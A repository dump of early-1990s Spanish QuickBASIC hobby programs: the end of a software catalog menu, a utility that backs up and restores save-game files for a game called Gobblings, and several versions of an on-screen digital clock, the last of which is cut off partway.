lot$(6) = " Graficos "
lot$(7) = " Utilidades "
lot$(8) = " Copiones "
lot$(9) = " Lenguajes "
lot$(10) = " Anti_virus "
lot$(11) = " - MENé PRINCIPAL - "
lec2$(1) = "þ IMPRIMIR LISTA "
lec2$(2) = "þ GRABAR PROGRAMAS ELEGIDOS "
lec2$(3) = "þ CREDITOS "
lec2$(4) = "þ MENé DE DATOS ( JD ) "
lot2$(1) = "Imprimir Lista "
lot2$(2) = "Grabar programas elegidos "
lot2$(3) = "Creditos "
lot2$(4) = "Men£ de Datos ( JD ) "
lec3$(1) = "þ INTRODUCIR NUEVOS PROGRAMAS"
lec3$(2) = "þ BORRAR PROGRAMAS "
lec3$(3) = "þ INTRODUCIR MENSAJE "
lec3$(4) = "þ VISIONAR / BORRAR PEDIDOS "
lot3$(1) = "Introducir nuevos programas "
lot3$(2) = "Borrar programas "
lot3$(3) = "Introducir mensaje "
lot3$(4) = "Visionar / Borrar pedidos "
RETURN
END
limlin:
'(LIM)ite -de- (LIN)ea
'Lon=longitud lin=linea col=columna tipo$=" ..z"
LOCATE lin, col: PRINT "þ"
FOR A = 1 TO lon
X:
A$ = INKEY$: IF A$ = "" THEN GOTO X
IF A$ = CHR$(13) THEN GOTO finsec
IF A$ = CHR$(27) THEN GOTO limlin
IF A$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar
borra:
A = A - 1: IF A < 1 THEN A = 1
LOCATE lin, col + A - 1: PRINT " ": LOCATE lin, col + A - 1: PRINT "þ ": GOTO X
ponchar:
IF A$ < LEFT$(tipo$, 1) OR A$ > RIGHT$(tipo$, 1) THEN GOTO X
IF A = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$
LOCATE lin, col + A - 1: PRINT A$; : IF A <> lon THEN PRINT "þ" ELSE GOTO X
NEXT A
finsec:
texto$ = "": FOR I = 1 TO lon
IF CHR$(SCREEN(lin, col + I - 1)) = "þ" THEN texto$ = texto$ + " " ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + I - 1))
NEXT
LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1
PLAY "b64": RETURN
corrector:
IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif
IF ERR = 27 THEN GOTO nohaypapel
GOTO fallonoloc
contrif:
RESUME NEXT
END
nohaypapel:
COLOR 14, 1, 1
BEEP
LOCATE 13, 34: PRINT "No hay papel."
LOCATE 13, 34: PRINT " "
GOTO il
fallonoloc:
COLOR 15, 1, 1
LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM"
LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).."
rti:
IF INKEY$ = "" THEN GOTO rti
GOTO principiodelprincipio
tipodeficha:
IF f = 1 THEN Tf$ = "1"
IF f = 2 THEN Tf$ = "2"
IF f = 3 THEN Tf$ = "3"
IF f = 4 THEN Tf$ = "4"
IF f = 5 THEN Tf$ = "5"
IF f = 6 THEN Tf$ = "6"
IF f = 7 THEN Tf$ = "7"
IF f = 8 THEN Tf$ = "8"
IF f = 9 THEN Tf$ = "9"
IF f = 0 THEN Tf$ = "0"
IF f = 10 THEN Tf$ = "0"
RETURN
help:
COLOR 7, 1, 1
LOCATE 14, 34: PRINT "Ayuda basica, JD."
LOCATE 16, 34: PRINT "Use los cursores, para acceder a"
LOCATE 17, 34: PRINT "los men£s."
LOCATE 18, 34: PRINT "Presione intro para 'entrar'."
LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu."
LOCATE 21, 34: PRINT " Pulse una tecla"
retorico:
IF INKEY$ = "" THEN GOTO retorico
COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT
RETURN
END
finp:
COLOR 7, 1, 1
CLS
PRINT " JD, Catalogo vú3.1 "
PRINT : PRINT "Gracias por utilizar este sofware."
PRINT : PRINT "Devuelveme este disco cuando acabes."
PRINT " Gracias..."
END

BIN
BAS/COMPRAS.BAS Normal file
View File

Binary file not shown.

144
BAS/GOB.BAS Normal file
View File

@ -0,0 +1,144 @@
DECLARE SUB mensajes ()
DIM SHARED mem$(6)
CLS
a$ = "±ÛÛÛÛÛ ±ÛÛÛÛÛ ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±ÛÛÛÛÛ ±ÛÛÛÛÛ"
b$ = "±Û±±± ±Û ±Û ±Û ±Û ±Û ±Û±Û ±Û ±Û±±± ±Û"
c$ = "±Û ±Û ±Û ±ÛÛÛÛ ±ÛÛÛÛ ±Û ±Û ±Û ±Û±Û ±Û ±Û ±Û"
d$ = "±Û ÛÛÛ ±Û ±Û ±Û±±ÛÛ ±Û±±ÛÛ ±Û ±Û ±Û ±Û ±Û Û ±Û ÛÛÛ ±ÛÛÛÛÛ"
e$ = "±Û ±±Û ±Û ±Û ±Û ±±Û ±Û ±±Û ±Û ±Û ±Û ±Û ±Û±Û ±Û±±±Û ±±±±±Û"
f$ = "±Û Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±±ÛÛ ±Û ±Û ±Û"
g$ = "±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛ ±Û ±Û ±Û ±±Û ±ÛÛÛÛÛ ±ÛÛÛÛÛ"
h$ = "±±±±±± ±±±±±± ±±±±±± ±±±±±± ±±±± ±± ±± ±± ±± ±±±±±± ±±±±±±"
LOCATE 21, 26: PRINT "Pulse una Tecla"
COLOR 12
RANDOMIZE TIMER
a = 1
DO
kdb$ = INKEY$
x% = INT(RND * 8) + 1
y% = INT(RND * 79) + 1
SELECT CASE x%
CASE 1: l$ = a$
CASE 2: l$ = b$
CASE 3: l$ = c$
CASE 4: l$ = d$
CASE 5: l$ = e$
CASE 6: l$ = f$
CASE 7: l$ = g$
CASE 8: l$ = h$
CASE ELSE
END SELECT
LOCATE x% + 10, y%: PRINT MID$(l$, y%, 1)
LOOP WHILE kdb$ = ""
LOCATE 11, 1: PRINT a$
LOCATE 12, 1: PRINT b$
LOCATE 13, 1: PRINT c$
LOCATE 14, 1: PRINT d$
LOCATE 15, 1: PRINT e$
LOCATE 16, 1: PRINT f$
LOCATE 17, 1: PRINT g$
LOCATE 18, 1: PRINT h$
LOCATE 21, 26: PRINT SPACE$(20)
T$(1) = " Conservar Joker's "
T$(2) = " Restaurar Joker's "
T$(3) = " - Creditos - "
T$(4) = " INFO:INFO:INFO "
COLOR 14
FOR e = 1 TO 4
LOCATE 2 + e, 30: PRINT T$(e)
NEXT
fin = false
lin = 1
DO
kdb$ = INKEY$
COLOR 14, 0
IF kdb$ = CHR$(0) + "H" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin - 1
IF kdb$ = CHR$(0) + "P" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin + 1
IF kdb$ = CHR$(27) THEN END
IF kdb$ = CHR$(13) THEN
SELECT CASE lin
CASE 1
SHELL "copy *.inf *.jd>nul"
IF CHR$(SCREEN(4, 1)) = "A" THEN
LOCATE 4, 1: PRINT SPACE$(80);
LOCATE 4, 30: PRINT T$(2)
COLOR 10
mem$(1) = " Para que el conservador funcione debe haber una partida salvada "
mem$(2) = " y encontrarse este programa en el Subdirectorio de Gobblings ú3ú"
mem$(3) = " La persistencia de este error se debe a que no hay partidas salvadas "
mensajes
ELSE
END
END IF
CASE 2
SHELL "copy *.jd *.inf>nul"
IF CHR$(SCREEN(5, 1)) = "A" THEN
LOCATE 5, 1: PRINT SPACE$(80);
LOCATE 5, 30: PRINT T$(3)
COLOR 10
mem$(1) = " Para que el restaurador funcione debe haber "
mem$(2) = " un Joker's salvado "
mem$(3) = " La persistencia de este error se debe a que no hay Joker's Salvados "
mensajes
ELSE
END
END IF
CASE 3
COLOR 10
mem$(1) = " Conservador de Joker's por:"
mem$(2) = " Jos‚ David Guill‚n"
mem$(3) = " c/Pintor Garcia Ramos n§5 2D"
mensajes
CASE 4
COLOR 10
mem$(1) = " Salve una partida, salga del juego y escoja CONSERVAR JOKER'S "
mem$(2) = " Carge el juego nuevamente y utilice todos los Joker's que necesite"
mem$(3) = " Luego SALGA del juego y escoja RESTAURAR JOKER'S y carge el juego."
mensajes
CASE ELSE
END SELECT
END IF
IF lin = 0 THEN lin = 4
IF lin = 5 THEN lin = 1
COLOR 14, 7
LOCATE 2 + lin, 30: PRINT T$(lin)
LOOP
SUB mensajes
COLOR 10
LOCATE 8, 1: PRINT mem$(1)
LOCATE 9, 1: PRINT mem$(2)
LOCATE 10, 1: PRINT mem$(3)
SLEEP
COLOR 14, 0
LOCATE 8, 1: PRINT SPACE$(80);
LOCATE 9, 1: PRINT SPACE$(80);
LOCATE 10, 1: PRINT SPACE$(80);
END SUB

302
BAS/HORA.BAS Normal file
View File

@ -0,0 +1,302 @@
'Generador de un reloj digital en pantalla'
DEFINT A-Z
DECLARE SUB PonNum (Digito$, Posicion)
DIM SHARED P(6), A
mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )"
IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": SYSTEM
IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": SYSTEM
P(1) = 0
P(2) = 80
P(3) = 200
P(4) = 280
P(5) = 400
P(6) = 440
SCREEN 9
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
LINE (170, 20)-(180, 30), 12, BF
LINE (170, 60)-(180, 70), 12, BF
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
LINE (370, 50)-(380, 60), 12, BF
LINE (370, 80)-(380, 90), 12, BF
DO
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
IF OldHor2$ <> LEFT$(Hora$, 1) THEN
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
END IF
OldHor2$ = LEFT$(Hora$, 1)
IF OldHor1$ <> MID$(Hora$, 2, 1) THEN
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
END IF
OldHor1$ = MID$(Hora$, 2, 1)
IF OldMin2$ <> LEFT$(Min$, 1) THEN
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
END IF
OldMin2$ = LEFT$(Min$, 1)
IF OldMin1$ <> MID$(Min$, 2, 1) THEN
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
END IF
OldMin1$ = MID$(Min$, 2, 1)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
seg$ = MID$(TIME$, 7, 1)
A = 5
PonNum seg$, 5
seg$ = MID$(TIME$, 8, 1)
A = 6
PonNum seg$, 6
LOOP
SUB PonNum (Digito$, Posicion)
SELECT CASE VAL(RTRIM$(LTRIM$(Digito$)))
CASE 0
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1
CASE 1
D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 2
D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1
CASE 3
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 4
D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0
CASE 5
D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 6
D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 7
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 8
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 9
D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
END SELECT
IF Posicion < 5 THEN
IF D1 = 1 THEN
PSET (0 + P(A), 0), 4
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 0), 0
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 0), 4
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 0), 0
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D3 = 1 THEN
PSET (69 + P(A), 0), 4
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 0), 0
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 42), 4
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 42), 0
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 42), 4
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 42), 0
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D6 = 1 THEN
PSET (69 + P(A), 42), 4
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 42), 0
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P0,0"
END IF
'********************************************************
'**************** EL GRAN " ELSE " *********************
'********************************************************
ELSE
IF D1 = 1 THEN
PSET (0 + P(A), 45), 4
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P4,4"
ELSE
PSET (0 + P(A), 45), 0
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 45), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 45), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D3 = 1 THEN
PSET (37 + P(A), 45), 4
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 45), 0
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 67), 4
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P4,4"
ELSE
PSET (0 + P(A), 67), 0
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 67), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 67), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D6 = 1 THEN
PSET (37 + P(A), 67), 4
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 67), 0
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P0,0"
END IF
END IF
END SUB

462
BAS/HORA2.BAS Normal file
View File

@ -0,0 +1,462 @@
'Generador de un reloj digital en pantalla'
DEFINT A-Z
DECLARE SUB PonNum (Digito$, Posicion)
DIM SHARED P(6), A
DIM OldX1(30), OldY1(30), OldX2(30), OldY2(30), OldX3(30), OldY3(30), OldX4(30), OldY4(30), OldX5(30), OldY5(30), OldTipo(100), OldX6(100), OldY6(100)
RANDOMIZE TIMER
X(1) = 400: Y(1) = 175
X(2) = 400: Y(2) = 175
X(3) = 400: Y(3) = 175
X(4) = 400: Y(4) = 175
X(5) = 400: Y(5) = 175
mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )"
IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": SYSTEM
IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": SYSTEM
P(1) = 0
P(2) = 80
P(3) = 200
P(4) = 280
P(5) = 400
P(6) = 440
'P(1) = 0
'P(2) = 75
'P(3) = 195
'P(4) = 275
'
'P(5) = 395
'P(6) = 435
SCREEN 9
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
LINE (170, 20)-(180, 30), 12, BF
LINE (170, 60)-(180, 70), 12, BF
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
LINE (370, 50)-(380, 60), 12, BF
LINE (370, 80)-(380, 90), 12, BF
DO
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
IF OldHor2$ <> LEFT$(Hora$, 1) THEN
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
END IF
OldHor2$ = LEFT$(Hora$, 1)
IF OldHor1$ <> MID$(Hora$, 2, 1) THEN
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
END IF
OldHor1$ = MID$(Hora$, 2, 1)
IF OldMin2$ <> LEFT$(Min$, 1) THEN
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
END IF
OldMin2$ = LEFT$(Min$, 1)
IF OldMin1$ <> MID$(Min$, 2, 1) THEN
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
END IF
OldMin1$ = MID$(Min$, 2, 1)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
seg$ = MID$(TIME$, 7, 1)
A = 5
PonNum seg$, 5
seg$ = MID$(TIME$, 8, 1)
A = 6
PonNum seg$, 6
'***************************************************
'* GRAFICO LINEAL **********************************
'***************************************************
M(4) = INT(RND * 8) + 1
M(3) = INT(RND * 8) + 1
M(2) = INT(RND * 8) + 1
M(5) = INT(RND * 8) + 1
M(1) = INT(RND * 8) + 1
M(6) = INT(RND * 8) + 1
DO
Vez = Vez + 1
Vz = Vz + 1
IF Vz >= 30 THEN Vz = 1
IF Vez >= 30 THEN Vez = 1
FOR Coor = 1 TO 6
SELECT CASE M(Coor)
CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) - 2
CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 3 ELSE Y(Coor) = Y(Coor) - 2
CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) - 2
CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3 ELSE X(Coor) = X(Coor) - 2
CASE 5: 'Pause
CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 3 ELSE Y(Coor) = Y(Coor) + 2
CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) + 2
CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3 ELSE X(Coor) = X(Coor) + 2
CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) + 2
END SELECT
IF Coor = 6 THEN
IF X(6) >= 640 THEN X(6) = 640: Salida = 1
IF X(6) <= 0 THEN X(6) = 0: Salida = 1
IF Y(6) <= 150 THEN Y(6) = 150: Salida = 1
IF Y(6) >= 350 THEN Y(6) = 350: Salida = 1
ELSE
IF X(Coor) >= 640 THEN X(Coor) = 640: Salida = 1
IF X(Coor) <= 480 AND Y(Coor) < 250 THEN
X(Coor) = 650: Salida = 1
ELSE
IF X(Coor) <= 0 THEN X(Coor) = 480: Salida = 1
END IF
IF Y(Coor) >= 350 AND X(Corr) <= 400 THEN Y(Coor) = 350: Salida = 1
IF Y(Coor) >= 350 THEN Y(Coor) = 0: Salida = 1
IF Y(Coor) <= 0 THEN Y(Coor) = 350: Salida = 1
END IF
OldX6(1) = X(6)
OldY6(1) = Y(6)
OldTipo(1) = Tipo
OldX1(1) = X(1)
OldX2(1) = X(2)
OldX3(1) = X(3)
OldX4(1) = X(4)
OldX5(1) = X(5)
OldY1(1) = Y(1)
OldY2(1) = Y(2)
OldY3(1) = Y(3)
OldY4(1) = Y(4)
OldY5(1) = Y(5)
NEXT
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1
IF Vez1 >= 16 THEN Vez1 = 1
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1
IF Vz1 >= 16 THEN Vz1 = 1
LINE (X(1), Y(1))-(X(2), Y(2)), Vez1
LINE (X(2), Y(2))-(X(3), Y(3)), Vez1
LINE (X(3), Y(3))-(X(4), Y(4)), Vez1
LINE (X(4), Y(4))-(X(5), Y(5)), Vez1
LINE (X(5), Y(5))-(X(1), Y(1)), Vez1
CIRCLE (X(6), Y(6)), 20, Vz1: ', , , Tipo
A = 31
WHILE A >= 2
A = A - 1
OldX1(A) = OldX1(A - 1)
OldY1(A) = OldY1(A - 1)
OldX2(A) = OldX2(A - 1)
OldY2(A) = OldY2(A - 1)
OldX3(A) = OldX3(A - 1)
OldY3(A) = OldY3(A - 1)
OldX4(A) = OldX4(A - 1)
OldY4(A) = OldY4(A - 1)
OldX5(A) = OldX5(A - 1)
OldY5(A) = OldY5(A - 1)
WEND
A = 71
WHILE A >= 2
A = A - 1
OldX6(A) = OldX6(A - 1)
OldY6(A) = OldY6(A - 1)
OldTipo(A) = OldTipo(A - 1)
WEND
CIRCLE (OldX6(70), OldY6(70)), 20, 0
LINE (OldX1(30), OldY1(30))-(OldX2(30), OldY2(30)), 0
LINE (OldX2(30), OldY2(30))-(OldX3(30), OldY3(30)), 0
LINE (OldX3(30), OldY3(30))-(OldX4(30), OldY4(30)), 0
LINE (OldX4(30), OldY4(30))-(OldX5(30), OldY5(30)), 0
LINE (OldX5(30), OldY5(30))-(OldX1(30), OldY1(30)), 0
LOOP WHILE Salida <> 1
Salida = 0
LOOP
'***************************************************
'* GRAFICOS DE PRUEBA ******************************
'***************************************************
grap:
SUB PonNum (Digito$, Posicion)
SELECT CASE VAL(RTRIM$(LTRIM$(Digito$)))
CASE 0
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1
CASE 1
D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 2
D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1
CASE 3
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 4
D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0
CASE 5
D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 6
D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 7
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 8
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 9
D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
END SELECT
IF Posicion < 5 THEN
IF D1 = 1 THEN
PSET (0 + P(A), 0), 4
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 0), 0
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 0), 4
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 0), 0
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D3 = 1 THEN
PSET (69 + P(A), 0), 4
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 0), 0
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 42), 4
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 42), 0
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 42), 4
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 42), 0
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D6 = 1 THEN
PSET (69 + P(A), 42), 4
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 42), 0
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P0,0"
END IF
'********************************************************
'**************** EL GRAN " ELSE " *********************
'********************************************************
ELSE
IF D1 = 1 THEN
PSET (0 + P(A), 45), 4
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P4,4"
ELSE
PSET (0 + P(A), 45), 0
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 45), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 45), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D3 = 1 THEN
PSET (37 + P(A), 45), 4
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 45), 0
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 67), 4
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P4,4"
ELSE
PSET (0 + P(A), 67), 0
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 67), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 67), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D6 = 1 THEN
PSET (37 + P(A), 67), 4
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 67), 0
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P0,0"
END IF
END IF
END SUB

485
BAS/HORA3.BAS Normal file
View File

@ -0,0 +1,485 @@
'Generador de un reloj digital en pantalla'
DEFINT A-Z
DECLARE SUB PonNum (Digito$, Posicion)
DIM SHARED P(6), A, veces
DIM OldX1(30), OldY1(30), OldX2(30), OldY2(30), OldX3(30), OldY3(30), OldX4(30), OldY4(30), OldX5(30), OldY5(30), OldTipo(100), OldX6(100), OldY6(100)
RANDOMIZE TIMER
X(1) = 400: Y(1) = 175
X(2) = 400: Y(2) = 175
X(3) = 400: Y(3) = 175
X(4) = 400: Y(4) = 175
X(5) = 400: Y(5) = 175
X(6) = 400: Y(5) = 175
mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )"
IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": GOTO errormo
IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": GOTO errormo
P(1) = 0
P(2) = 80
P(3) = 200
P(4) = 280
P(5) = 400
P(6) = 440
'P(1) = 0
'P(2) = 75
'P(3) = 195
'P(4) = 275
'
'P(5) = 395
'P(6) = 435
